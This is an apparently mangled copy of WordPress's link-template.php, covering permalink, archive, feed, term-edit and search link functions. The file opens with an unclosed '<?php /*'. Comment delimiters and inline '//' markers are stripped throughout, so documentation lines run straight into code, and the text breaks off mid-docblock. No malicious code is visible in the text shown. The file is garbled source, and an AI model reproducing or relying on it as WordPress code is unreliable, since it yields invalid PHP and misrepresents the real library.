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<?php /*
*
* WordPress Link Template Functions
*
* @package WordPress
* @subpackage Template
*
* Displays the permalink for the current post.
*
* @since 1.2.0
* @since 4.4.0 Added the `$post` parameter.
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
function the_permalink( $post = 0 ) {
*
* Filters the display of the permalink for the current post.
*
* @since 1.5.0
* @since 4.4.0 Added the `$post` parameter.
*
* @param string $permalink The permalink for the current post.
* @param int|WP_Post $post Post ID, WP_Post object, or 0. Default 0.
echo esc_url( apply_filters( 'the_permalink', get_permalink( $post ), $post ) );
}
*
* Retrieves a trailing-slashed string if the site is set for adding trailing slashes.
*
* Conditionally adds a trailing slash if the permalink structure has a trailing
* slash, strips the trailing slash if not. The string is passed through the
* {@see 'user_trailingslashit'} filter. Will remove trailing slash from string, if
* site is not set to have them.
*
* @since 2.2.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $url URL with or without a trailing slash.
* @param string $type_of_url Optional. The type of URL being considered (e.g. single, category, etc)
* for use in the filter. Default empty string.
* @return string The URL with the trailing slash appended or stripped.
function user_trailingslashit( $url, $type_of_url = '' ) {
global $wp_rewrite;
if ( $wp_rewrite->use_trailing_slashes ) {
$url = trailingslashit( $url );
} else {
$url = untrailingslashit( $url );
}
*
* Filters the trailing-slashed string, depending on whether the site is set to use trailing slashes.
*
* @since 2.2.0
*
* @param string $url URL with or without a trailing slash.
* @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback',
* 'single_feed', 'single_paged', 'commentpaged', 'paged', 'home', 'feed',
* 'category', 'page', 'year', 'month', 'day', 'post_type_archive'.
return apply_filters( 'user_trailingslashit', $url, $type_of_url );
}
*
* Displays the permalink anchor for the current post.
*
* The permalink mode title will use the post title for the 'a' element 'id'
* attribute. The id mode uses 'post-' with the post ID for the 'id' attribute.
*
* @since 0.71
*
* @param string $mode Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'.
function permalink_anchor( $mode = 'id' ) {
$post = get_post();
switch ( strtolower( $mode ) ) {
case 'title':
$title = sanitize_title( $post->post_title ) . '-' . $post->ID;
echo '<a id="' . $title . '"></a>';
break;
case 'id':
default:
echo '<a id="post-' . $post->ID . '"></a>';
break;
}
}
*
* Determine whether post should always use a plain permalink structure.
*
* @since 5.7.0
*
* @param WP_Post|int|null $post Optional. Post ID or post object. Defaults to global $post.
* @param bool|null $sample Optional. Whether to force consideration based on sample links.
* If omitted, a sample link is generated if a post object is passed
* with the filter property set to 'sample'.
* @return bool Whether to use a plain permalink structure.
function wp_force_plain_post_permalink( $post = null, $sample = null ) {
if (
null === $sample &&
is_object( $post ) &&
isset( $post->filter ) &&
'sample' === $post->filter
) {
$sample = true;
} else {
$post = get_post( $post );
$sample = null !== $sample ? $sample : false;
}
if ( ! $post ) {
return true;
}
$post_status_obj = get_post_status_object( get_post_status( $post ) );
$post_type_obj = get_post_type_object( get_post_type( $post ) );
if ( ! $post_status_obj || ! $post_type_obj ) {
return true;
}
if (
Publicly viewable links never have plain permalinks.
is_post_status_viewable( $post_status_obj ) ||
(
Private posts don't have plain permalinks if the user can read them.
$post_status_obj->private &&
current_user_can( 'read_post', $post->ID )
) ||
Protected posts don't have plain links if getting a sample URL.
( $post_status_obj->protected && $sample )
) {
return false;
}
return true;
}
*
* Retrieves the full permalink for the current post or post ID.
*
* This function is an alias for get_permalink().
*
* @since 3.9.0
*
* @see get_permalink()
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param bool $leavename Optional. Whether to keep post name or page name. Default false.
* @return string|false The permalink URL. False if the post does not exist.
function get_the_permalink( $post = 0, $leavename = false ) {
return get_permalink( $post, $leavename );
}
*
* Retrieves the full permalink for the current post or post ID.
*
* @since 1.0.0
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param bool $leavename Optional. Whether to keep post name or page name. Default false.
* @return string|false The permalink URL. False if the post does not exist.
function get_permalink( $post = 0, $leavename = false ) {
$rewritecode = array(
'%year%',
'%monthnum%',
'%day%',
'%hour%',
'%minute%',
'%second%',
$leavename ? '' : '%postname%',
'%post_id%',
'%category%',
'%author%',
$leavename ? '' : '%pagename%',
);
if ( is_object( $post ) && isset( $post->filter ) && 'sample' === $post->filter ) {
$sample = true;
} else {
$post = get_post( $post );
$sample = false;
}
if ( empty( $post->ID ) ) {
return false;
}
if ( 'page' === $post->post_type ) {
return get_page_link( $post, $leavename, $sample );
} elseif ( 'attachment' === $post->post_type ) {
return get_attachment_link( $post, $leavename );
} elseif ( in_array( $post->post_type, get_post_types( array( '_builtin' => false ) ), true ) ) {
return get_post_permalink( $post, $leavename, $sample );
}
$permalink = get_option( 'permalink_structure' );
*
* Filters the permalink structure for a post before token replacement occurs.
*
* Only applies to posts with post_type of 'post'.
*
* @since 3.0.0
*
* @param string $permalink The site's permalink structure.
* @param WP_Post $post The post in question.
* @param bool $leavename Whether to keep the post name.
$permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename );
if (
$permalink &&
! wp_force_plain_post_permalink( $post )
) {
$category = '';
if ( str_contains( $permalink, '%category%' ) ) {
$cats = get_the_category( $post->ID );
if ( $cats ) {
$cats = wp_list_sort(
$cats,
array(
'term_id' => 'ASC',
)
);
*
* Filters the category that gets used in the %category% permalink token.
*
* @since 3.5.0
*
* @param WP_Term $cat The category to use in the permalink.
* @param array $cats Array of all categories (WP_Term objects) associated with the post.
* @param WP_Post $post The post in question.
$category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post );
$category_object = get_term( $category_object, 'category' );
$category = $category_object->slug;
if ( $category_object->parent ) {
$category = get_category_parents( $category_object->parent, false, '/', true ) . $category;
}
}
* Show default category in permalinks,
* without having to assign it explicitly.
if ( empty( $category ) ) {
$default_category = get_term( get_option( 'default_category' ), 'category' );
if ( $default_category && ! is_wp_error( $default_category ) ) {
$category = $default_category->slug;
}
}
}
$author = '';
if ( str_contains( $permalink, '%author%' ) ) {
$authordata = get_userdata( $post->post_author );
$author = $authordata->user_nicename;
}
* This is not an API call because the permalink is based on the stored post_date value,
* which should be parsed as local time regardless of the default PHP timezone.
$date = explode( ' ', str_replace( array( '-', ':' ), ' ', $post->post_date ) );
$rewritereplace = array(
$date[0],
$date[1],
$date[2],
$date[3],
$date[4],
$date[5],
$post->post_name,
$post->ID,
$category,
$author,
$post->post_name,
);
$permalink = home_url( str_replace( $rewritecode, $rewritereplace, $permalink ) );
$permalink = user_trailingslashit( $permalink, 'single' );
} else { If they're not using the fancy permalink option.
$permalink = home_url( '?p=' . $post->ID );
}
*
* Filters the permalink for a post.
*
* Only applies to posts with post_type of 'post'.
*
* @since 1.5.0
*
* @param string $permalink The post's permalink.
* @param WP_Post $post The post in question.
* @param bool $leavename Whether to keep the post name.
return apply_filters( 'post_link', $permalink, $post, $leavename );
}
*
* Retrieves the permalink for a post of a custom post type.
*
* @since 3.0.0
* @since 6.1.0 Returns false if the post does not exist.
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param bool $leavename Optional. Whether to keep post name. Default false.
* @param bool $sample Optional. Is it a sample permalink. Default false.
* @return string|false The post permalink URL. False if the post does not exist.
function get_post_permalink( $post = 0, $leavename = false, $sample = false ) {
global $wp_rewrite;
$post = get_post( $post );
if ( ! $post ) {
return false;
}
$post_link = $wp_rewrite->get_extra_permastruct( $post->post_type );
$slug = $post->post_name;
$force_plain_link = wp_force_plain_post_permalink( $post );
$post_type = get_post_type_object( $post->post_type );
if ( $post_type->hierarchical ) {
$slug = get_page_uri( $post );
}
if ( ! empty( $post_link ) && ( ! $force_plain_link || $sample ) ) {
if ( ! $leavename ) {
$post_link = str_replace( "%$post->post_type%", $slug, $post_link );
}
$post_link = home_url( user_trailingslashit( $post_link ) );
} else {
if ( $post_type->query_var && ( isset( $post->post_status ) && ! $force_plain_link ) ) {
$post_link = add_query_arg( $post_type->query_var, $slug, '' );
} else {
$post_link = add_query_arg(
array(
'post_type' => $post->post_type,
'p' => $post->ID,
),
''
);
}
$post_link = home_url( $post_link );
}
*
* Filters the permalink for a post of a custom post type.
*
* @since 3.0.0
*
* @param string $post_link The post's permalink.
* @param WP_Post $post The post in question.
* @param bool $leavename Whether to keep the post name.
* @param bool $sample Is it a sample permalink.
return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample );
}
*
* Retrieves the permalink for the current page or page ID.
*
* Respects page_on_front. Use this one.
*
* @since 1.5.0
*
* @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`.
* @param bool $leavename Optional. Whether to keep the page name. Default false.
* @param bool $sample Optional. Whether it should be treated as a sample permalink.
* Default false.
* @return string The page permalink.
function get_page_link( $post = false, $leavename = false, $sample = false ) {
$post = get_post( $post );
if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post->ID ) {
$link = home_url( '/' );
} else {
$link = _get_page_link( $post, $leavename, $sample );
}
*
* Filters the permalink for a page.
*
* @since 1.5.0
*
* @param string $link The page's permalink.
* @param int $post_id The ID of the page.
* @param bool $sample Is it a sample permalink.
return apply_filters( 'page_link', $link, $post->ID, $sample );
}
*
* Retrieves the page permalink.
*
* Ignores page_on_front. Internal use only.
*
* @since 2.1.0
* @access private
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`.
* @param bool $leavename Optional. Whether to keep the page name. Default false.
* @param bool $sample Optional. Whether it should be treated as a sample permalink.
* Default false.
* @return string The page permalink.
function _get_page_link( $post = false, $leavename = false, $sample = false ) {
global $wp_rewrite;
$post = get_post( $post );
$force_plain_link = wp_force_plain_post_permalink( $post );
$link = $wp_rewrite->get_page_permastruct();
if ( ! empty( $link ) && ( ( isset( $post->post_status ) && ! $force_plain_link ) || $sample ) ) {
if ( ! $leavename ) {
$link = str_replace( '%pagename%', get_page_uri( $post ), $link );
}
$link = home_url( $link );
$link = user_trailingslashit( $link, 'page' );
} else {
$link = home_url( '?page_id=' . $post->ID );
}
*
* Filters the permalink for a non-page_on_front page.
*
* @since 2.1.0
*
* @param string $link The page's permalink.
* @param int $post_id The ID of the page.
return apply_filters( '_get_page_link', $link, $post->ID );
}
*
* Retrieves the permalink for an attachment.
*
* This can be used in the WordPress Loop or outside of it.
*
* @since 2.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|object $post Optional. Post ID or object. Default uses the global `$post`.
* @param bool $leavename Optional. Whether to keep the page name. Default false.
* @return string The attachment permalink.
function get_attachment_link( $post = null, $leavename = false ) {
global $wp_rewrite;
$link = false;
$post = get_post( $post );
$force_plain_link = wp_force_plain_post_permalink( $post );
$parent_id = $post->post_parent;
$parent = $parent_id ? get_post( $parent_id ) : false;
$parent_valid = true; Default for no parent.
if (
$parent_id &&
(
$post->post_parent === $post->ID ||
! $parent ||
! is_post_type_viewable( get_post_type( $parent ) )
)
) {
Post is either its own parent or parent post unavailable.
$parent_valid = false;
}
if ( $force_plain_link || ! $parent_valid ) {
$link = false;
} elseif ( $wp_rewrite->using_permalinks() && $parent ) {
if ( 'page' === $parent->post_type ) {
$parentlink = _get_page_link( $post->post_parent ); Ignores page_on_front.
} else {
$parentlink = get_permalink( $post->post_parent );
}
if ( is_numeric( $post->post_name ) || str_contains( get_option( 'permalink_structure' ), '%category%' ) ) {
$name = 'attachment/' . $post->post_name; <permalink>/<int>/ is paged so we use the explicit attachment marker.
} else {
$name = $post->post_name;
}
if ( ! str_contains( $parentlink, '?' ) ) {
$link = user_trailingslashit( trailingslashit( $parentlink ) . '%postname%' );
}
if ( ! $leavename ) {
$link = str_replace( '%postname%', $name, $link );
}
} elseif ( $wp_rewrite->using_permalinks() && ! $leavename ) {
$link = home_url( user_trailingslashit( $post->post_name ) );
}
if ( ! $link ) {
$link = home_url( '/?attachment_id=' . $post->ID );
}
*
* Filters the permalink for an attachment.
*
* @since 2.0.0
* @since 5.6.0 Providing an empty string will now disable
* the view attachment page link on the media modal.
*
* @param string $link The attachment's permalink.
* @param int $post_id Attachment ID.
return apply_filters( 'attachment_link', $link, $post->ID );
}
*
* Retrieves the permalink for the year archives.
*
* @since 1.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|false $year Integer of year. False for current year.
* @return string The permalink for the specified year archive.
function get_year_link( $year ) {
global $wp_rewrite;
if ( ! $year ) {
$year = current_time( 'Y' );
}
$yearlink = $wp_rewrite->get_year_permastruct();
if ( ! empty( $yearlink ) ) {
$yearlink = str_replace( '%year%', $year, $yearlink );
$yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) );
} else {
$yearlink = home_url( '?m=' . $year );
}
*
* Filters the year archive permalink.
*
* @since 1.5.0
*
* @param string $yearlink Permalink for the year archive.
* @param int $year Year for the archive.
return apply_filters( 'year_link', $yearlink, $year );
}
*
* Retrieves the permalink for the month archives with year.
*
* @since 1.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|false $year Integer of year. False for current year.
* @param int|false $month Integer of month. False for current month.
* @return string The permalink for the specified month and year archive.
function get_month_link( $year, $month ) {
global $wp_rewrite;
if ( ! $year ) {
$year = current_time( 'Y' );
}
if ( ! $month ) {
$month = current_time( 'm' );
}
$monthlink = $wp_rewrite->get_month_permastruct();
if ( ! empty( $monthlink ) ) {
$monthlink = str_replace( '%year%', $year, $monthlink );
$monthlink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $monthlink );
$monthlink = home_url( user_trailingslashit( $monthlink, 'month' ) );
} else {
$monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) );
}
*
* Filters the month archive permalink.
*
* @since 1.5.0
*
* @param string $monthlink Permalink for the month archive.
* @param int $year Year for the archive.
* @param int $month The month for the archive.
return apply_filters( 'month_link', $monthlink, $year, $month );
}
*
* Retrieves the permalink for the day archives with year and month.
*
* @since 1.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|false $year Integer of year. False for current year.
* @param int|false $month Integer of month. False for current month.
* @param int|false $day Integer of day. False for current day.
* @return string The permalink for the specified day, month, and year archive.
function get_day_link( $year, $month, $day ) {
global $wp_rewrite;
if ( ! $year ) {
$year = current_time( 'Y' );
}
if ( ! $month ) {
$month = current_time( 'm' );
}
if ( ! $day ) {
$day = current_time( 'j' );
}
$daylink = $wp_rewrite->get_day_permastruct();
if ( ! empty( $daylink ) ) {
$daylink = str_replace( '%year%', $year, $daylink );
$daylink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $daylink );
$daylink = str_replace( '%day%', zeroise( (int) $day, 2 ), $daylink );
$daylink = home_url( user_trailingslashit( $daylink, 'day' ) );
} else {
$daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) );
}
*
* Filters the day archive permalink.
*
* @since 1.5.0
*
* @param string $daylink Permalink for the day archive.
* @param int $year Year for the archive.
* @param int $month Month for the archive.
* @param int $day The day for the archive.
return apply_filters( 'day_link', $daylink, $year, $month, $day );
}
*
* Displays the permalink for the feed type.
*
* @since 3.0.0
*
* @param string $anchor The link's anchor text.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
function the_feed_link( $anchor, $feed = '' ) {
$link = '<a href="' . esc_url( get_feed_link( $feed ) ) . '">' . $anchor . '</a>';
*
* Filters the feed link anchor tag.
*
* @since 3.0.0
*
* @param string $link The complete anchor tag for a feed link.
* @param string $feed The feed type. Possible values include 'rss2', 'atom',
* or an empty string for the default feed type.
echo apply_filters( 'the_feed_link', $link, $feed );
}
*
* Retrieves the permalink for the feed type.
*
* @since 1.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The feed permalink.
function get_feed_link( $feed = '' ) {
global $wp_rewrite;
$permalink = $wp_rewrite->get_feed_permastruct();
if ( $permalink ) {
if ( str_contains( $feed, 'comments_' ) ) {
$feed = str_replace( 'comments_', '', $feed );
$permalink = $wp_rewrite->get_comment_feed_permastruct();
}
if ( get_default_feed() == $feed ) {
$feed = '';
}
$permalink = str_replace( '%feed%', $feed, $permalink );
$permalink = preg_replace( '#/+#', '/', "/$permalink" );
$output = home_url( user_trailingslashit( $permalink, 'feed' ) );
} else {
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
if ( str_contains( $feed, 'comments_' ) ) {
$feed = str_replace( 'comments_', 'comments-', $feed );
}
$output = home_url( "?feed={$feed}" );
}
*
* Filters the feed type permalink.
*
* @since 1.5.0
*
* @param string $output The feed permalink.
* @param string $feed The feed type. Possible values include 'rss2', 'atom',
* or an empty string for the default feed type.
return apply_filters( 'feed_link', $output, $feed );
}
*
* Retrieves the permalink for the post comments feed.
*
* @since 2.2.0
*
* @param int $post_id Optional. Post ID. Default is the ID of the global `$post`.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The permalink for the comments feed for the given post on success, empty string on failure.
function get_post_comments_feed_link( $post_id = 0, $feed = '' ) {
$post_id = absint( $post_id );
if ( ! $post_id ) {
$post_id = get_the_ID();
}
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$post = get_post( $post_id );
Bail out if the post does not exist.
if ( ! $post instanceof WP_Post ) {
return '';
}
$unattached = 'attachment' === $post->post_type && 0 === (int) $post->post_parent;
if ( get_option( 'permalink_structure' ) ) {
if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post_id ) {
$url = _get_page_link( $post_id );
} else {
$url = get_permalink( $post_id );
}
if ( $unattached ) {
$url = home_url( '/feed/' );
if ( get_default_feed() !== $feed ) {
$url .= "$feed/";
}
$url = add_query_arg( 'attachment_id', $post_id, $url );
} else {
$url = trailingslashit( $url ) . 'feed';
if ( get_default_feed() != $feed ) {
$url .= "/$feed";
}
$url = user_trailingslashit( $url, 'single_feed' );
}
} else {
if ( $unattached ) {
$url = add_query_arg(
array(
'feed' => $feed,
'attachment_id' => $post_id,
),
home_url( '/' )
);
} elseif ( 'page' === $post->post_type ) {
$url = add_query_arg(
array(
'feed' => $feed,
'page_id' => $post_id,
),
home_url( '/' )
);
} else {
$url = add_query_arg(
array(
'feed' => $feed,
'p' => $post_id,
),
home_url( '/' )
);
}
}
*
* Filters the post comments feed permalink.
*
* @since 1.5.1
*
* @param string $url Post comments feed permalink.
return apply_filters( 'post_comments_feed_link', $url );
}
*
* Displays the comment feed link for a post.
*
* Prints out the comment feed link for a post. Link text is placed in the
* anchor. If no link text is specified, default text is used. If no post ID is
* specified, the current post is used.
*
* @since 2.5.0
*
* @param string $link_text Optional. Descriptive link text. Default 'Comments Feed'.
* @param int $post_id Optional. Post ID. Default is the ID of the global `$post`.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) {
$url = get_post_comments_feed_link( $post_id, $feed );
if ( empty( $link_text ) ) {
$link_text = __( 'Comments Feed' );
}
$link = '<a href="' . esc_url( $url ) . '">' . $link_text . '</a>';
*
* Filters the post comment feed link anchor tag.
*
* @since 2.8.0
*
* @param string $link The complete anchor tag for the comment feed link.
* @param int $post_id Post ID.
* @param string $feed The feed type. Possible values include 'rss2', 'atom',
* or an empty string for the default feed type.
echo apply_filters( 'post_comments_feed_link_html', $link, $post_id, $feed );
}
*
* Retrieves the feed link for a given author.
*
* Returns a link to the feed for all posts by a given author. A specific feed
* can be requested or left blank to get the default feed.
*
* @since 2.5.0
*
* @param int $author_id Author ID.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string Link to the feed for the author specified by $author_id.
function get_author_feed_link( $author_id, $feed = '' ) {
$author_id = (int) $author_id;
$permalink_structure = get_option( 'permalink_structure' );
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
if ( ! $permalink_structure ) {
$link = home_url( "?feed=$feed&author=" . $author_id );
} else {
$link = get_author_posts_url( $author_id );
if ( get_default_feed() == $feed ) {
$feed_link = 'feed';
} else {
$feed_link = "feed/$feed";
}
$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
}
*
* Filters the feed link for a given author.
*
* @since 1.5.1
*
* @param string $link The author feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
$link = apply_filters( 'author_feed_link', $link, $feed );
return $link;
}
*
* Retrieves the feed link for a category.
*
* Returns a link to the feed for all posts in a given category. A specific feed
* can be requested or left blank to get the default feed.
*
* @since 2.5.0
*
* @param int|WP_Term|object $cat The ID or category object whose feed link will be retrieved.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string Link to the feed for the category specified by `$cat`.
function get_category_feed_link( $cat, $feed = '' ) {
return get_term_feed_link( $cat, 'category', $feed );
}
*
* Retrieves the feed link for a term.
*
* Returns a link to the feed for all posts in a given term. A specific feed
* can be requested or left blank to get the default feed.
*
* @since 3.0.0
*
* @param int|WP_Term|object $term The ID or term object whose feed link will be retrieved.
* @param string $taxonomy Optional. Taxonomy of `$term_id`.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string|false Link to the feed for the term specified by `$term` and `$taxonomy`.
function get_term_feed_link( $term, $taxonomy = '', $feed = '' ) {
if ( ! is_object( $term ) ) {
$term = (int) $term;
}
$term = get_term( $term, $taxonomy );
if ( empty( $term ) || is_wp_error( $term ) ) {
return false;
}
$taxonomy = $term->taxonomy;
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$permalink_structure = get_option( 'permalink_structure' );
if ( ! $permalink_structure ) {
if ( 'category' === $taxonomy ) {
$link = home_url( "?feed=$feed&cat=$term->term_id" );
} elseif ( 'post_tag' === $taxonomy ) {
$link = home_url( "?feed=$feed&tag=$term->slug" );
} else {
$t = get_taxonomy( $taxonomy );
$link = home_url( "?feed=$feed&$t->query_var=$term->slug" );
}
} else {
$link = get_term_link( $term, $term->taxonomy );
if ( get_default_feed() == $feed ) {
$feed_link = 'feed';
} else {
$feed_link = "feed/$feed";
}
$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
}
if ( 'category' === $taxonomy ) {
*
* Filters the category feed link.
*
* @since 1.5.1
*
* @param string $link The category feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
$link = apply_filters( 'category_feed_link', $link, $feed );
} elseif ( 'post_tag' === $taxonomy ) {
*
* Filters the post tag feed link.
*
* @since 2.3.0
*
* @param string $link The tag feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
$link = apply_filters( 'tag_feed_link', $link, $feed );
} else {
*
* Filters the feed link for a taxonomy other than 'category' or 'post_tag'.
*
* @since 3.0.0
*
* @param string $link The taxonomy feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
* @param string $taxonomy The taxonomy name.
$link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy );
}
return $link;
}
*
* Retrieves the permalink for a tag feed.
*
* @since 2.3.0
*
* @param int|WP_Term|object $tag The ID or term object whose feed link will be retrieved.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The feed permalink for the given tag.
function get_tag_feed_link( $tag, $feed = '' ) {
return get_term_feed_link( $tag, 'post_tag', $feed );
}
*
* Retrieves the edit link for a tag.
*
* @since 2.7.0
*
* @param int|WP_Term|object $tag The ID or term object whose edit link will be retrieved.
* @param string $taxonomy Optional. Taxonomy slug. Default 'post_tag'.
* @return string The edit tag link URL for the given tag.
function get_edit_tag_link( $tag, $taxonomy = 'post_tag' ) {
*
* Filters the edit link for a tag (or term in another taxonomy).
*
* @since 2.7.0
*
* @param string $link The term edit link.
return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag, $taxonomy ) );
}
*
* Displays or retrieves the edit link for a tag with formatting.
*
* @since 2.7.0
*
* @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param WP_Term $tag Optional. Term object. If null, the queried object will be inspected.
* Default null.
function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) {
$link = edit_term_link( $link, '', '', $tag, false );
*
* Filters the anchor tag for the edit link for a tag (or term in another taxonomy).
*
* @since 2.7.0
*
* @param string $link The anchor tag for the edit link.
echo $before . apply_filters( 'edit_tag_link', $link ) . $after;
}
*
* Retrieves the URL for editing a given term.
*
* @since 3.1.0
* @since 4.5.0 The `$taxonomy` parameter was made optional.
*
* @param int|WP_Term|object $term The ID or term object whose edit link will be retrieved.
* @param string $taxonomy Optional. Taxonomy. Defaults to the taxonomy of the term identified
* by `$term`.
* @param string $object_type Optional. The object type. Used to highlight the proper post type
* menu on the linked page. Defaults to the first object_type associated
* with the taxonomy.
* @return string|null The edit term link URL for the given term, or null on failure.
function get_edit_term_link( $term, $taxonomy = '', $object_type = '' ) {
$term = get_term( $term, $taxonomy );
if ( ! $term || is_wp_error( $term ) ) {
return;
}
$tax = get_taxonomy( $term->taxonomy );
$term_id = $term->term_id;
if ( ! $tax || ! current_user_can( 'edit_term', $term_id ) ) {
return;
}
$args = array(
'taxonomy' => $taxonomy,
'tag_ID' => $term_id,
);
if ( $object_type ) {
$args['post_type'] = $object_type;
} elseif ( ! empty( $tax->object_type ) ) {
$args['post_type'] = reset( $tax->object_type );
}
if ( $tax->show_ui ) {
$location = add_query_arg( $args, admin_url( 'term.php' ) );
} else {
$location = '';
}
*
* Filters the edit link for a term.
*
* @since 3.1.0
*
* @param string $location The edit link.
* @param int $term_id Term ID.
* @param string $taxonomy Taxonomy name.
* @param string $object_type The object type.
return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type );
}
*
* Displays or retrieves the edit term link with formatting.
*
* @since 3.1.0
*
* @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param int|WP_Term|null $term Optional. Term ID or object. If null, the queried object will be inspected. Default null.
* @param bool $display Optional. Whether or not to echo the return. Default true.
* @return string|void HTML content.
function edit_term_link( $link = '', $before = '', $after = '', $term = null, $display = true ) {
if ( is_null( $term ) ) {
$term = get_queried_object();
} else {
$term = get_term( $term );
}
if ( ! $term ) {
return;
}
$tax = get_taxonomy( $term->taxonomy );
if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
return;
}
if ( empty( $link ) ) {
$link = __( 'Edit This' );
}
$link = '<a href="' . get_edit_term_link( $term->term_id, $term->taxonomy ) . '">' . $link . '</a>';
*
* Filters the anchor tag for the edit link of a term.
*
* @since 3.1.0
*
* @param string $link The anchor tag for the edit link.
* @param int $term_id Term ID.
$link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after;
if ( $display ) {
echo $link;
} else {
return $link;
}
}
*
* Retrieves the permalink for a search.
*
* @since 3.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $query Optional. The query string to use. If empty the current query is used. Default empty.
* @return string The search permalink.
function get_search_link( $query = '' ) {
global $wp_rewrite;
if ( empty( $query ) ) {
$search = get_search_query( false );
} else {
$search = stripslashes( $query );
}
$permastruct = $wp_rewrite->get_search_permastruct();
if ( empty( $permastruct ) ) {
$link = home_url( '?s=' . urlencode( $search ) );
} else {
$search = urlencode( $search );
$search = str_replace( '%2F', '/', $search ); %2F(/) is not valid within a URL, send it un-encoded.
$link = str_replace( '%search%', $search, $permastruct );
$link = home_url( user_trailingslashit( $link, 'search' ) );
}
*
* Filters the search permalink.
*
* @since 3.0.0
*
* @param string $link Search permalink.
* @param string $search The URL-encoded search term.
return apply_filters( 'search_link', $link, $search );
}
*
* Retrieves the permalink for the search results feed.
*
* @since 2.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $search_query Optional. Search query. Default empty.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The search results feed permalink.
function get_search_feed_link( $search_query = '', $feed = '' ) {
global $wp_rewrite;
$link = get_search_link( $search_query );
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$permastruct = $wp_rewrite->get_search_permastruct();
if ( empty( $permastruct ) ) {
$link = add_query_arg( 'feed', $feed, $link );
} else {
$link = trailingslashit( $link );
$link .= "feed/$feed/";
}
*
* Filters the search feed link.
*
* @since 2.5.0
*
* @param string $link Search feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
* @param string $type The search type. One of 'posts' or 'comments'.
return apply_filters( 'search_feed_link', $link, $feed, 'posts' );
}
*
* Retrieves the permalink for the search results comments feed.
*
* @since 2.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $search_query Optional. Search query. Default empty.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The comments feed search results permalink.
function get_search_comments_feed_link( $search_query = '', $feed = '' ) {
global $wp_rewrite;
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$link = get_search_feed_link( $search_query, $feed );
$permastruct = $wp_rewrite->get_search_permastruct();
if ( empty( $permastruct ) ) {
$link = add_query_arg( 'feed', 'comments-' . $feed, $link );
} else {
$link = add_query_arg( 'withcomments', 1, $link );
}
* This filter is documented in wp-includes/link-template.php
return apply_filters( 'search_feed_link', $link, $feed, 'comments' );
}
*
* Retrieves the permalink for a post type archive.
*
